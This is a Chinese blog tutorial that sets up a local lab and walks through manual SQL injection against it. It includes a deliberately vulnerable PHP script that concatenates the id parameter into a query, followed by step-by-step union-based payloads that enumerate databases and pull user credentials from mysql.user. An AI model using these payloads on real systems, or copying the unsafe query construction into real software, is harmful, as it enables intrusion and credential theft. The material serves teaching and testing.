mysql手工注入演示
阿新 • • 發佈:2018-12-05
演示環境準備:
php環境,存在漏洞的php指令碼,mysql資料庫以及資料表
php環境直接使用phpstudy即可
存在漏洞的指令碼檔案
<!DOCTYPE html> <html> <head> <title>sql注入測試頁面</title> </head> <?php header("Content-type:text/html;charset=utf-8"); $con = mysqli_connect("localhost","root","root","springdemo","3306"); if (!$con) { die('DB Could not connect: ' . mysql_error()); } echo "資料庫連線成功<br/>根據id值在資料庫中查詢使用者資訊<br/><br/>"; ?> <body> <form action="" method="get"> <input type="text" name="id" size="20"> <input type="submit" value="ok" > </form> </body> <?php $id=$_REQUEST['id']; $sql="select * from user where id=".$id; echo "您輸入的sql語句為:".$sql; $result = mysqli_query($con,$sql); while($row = mysqli_fetch_array($result)) { echo "<br/><hr>"; echo $row['id'] . "<--->" . $row['name']; echo "<br />"; } mysqli_close($con); ?>
phpstudy自帶mysql資料庫,資料庫表的建立如下:
create table user(
id int auto_increment,
name varchar(50) not null,
age int,
primary key(id)
)default charset=utf8;
insert into user(name,age) values ('曹操',50);
insert into user(name,age) values ('劉備',55);
insert into user(name,age) values ('孫權',40);
然後再隨意插入幾條測試資料即可
重頭戲來了,開始演示環節
1、 ?id=10'
根據報錯資訊大致判斷資料庫型別為mysql資料庫
2、 ?id=10 and 1=1 ?id=10 and 1=2
兩個payload的返回結果不一致,確定id引數存在注入點
3、 ?id=10 order by 1 ?id=10 order by 111111
根據兩個payload的返回結果可以知道此處支援order by,可以縮短對查詢列數的判斷時間
4、 ?id=10 order by 10
程式報錯,說明列數在1-10之間,後續二分法逐步查詢 ?id=10 order by 6 ?id=10 order by 4 在?id=10 order by 3的時候程式返回正常,說明列數為3
5、 ?id=10 union all select 1,2,3
判斷資料在頁面顯示的位置,可以發現1,2 在頁面顯示,表明前兩列可以作為後續查詢使用
6、 ?id=10 union all select 1,schema_name,3 from information_schema.schemata
查詢出所有資料庫的庫名
7、 ?id=10 union all select user,password,3 from mysql.user
查詢mysql資料庫的使用者資訊
8、 後續省略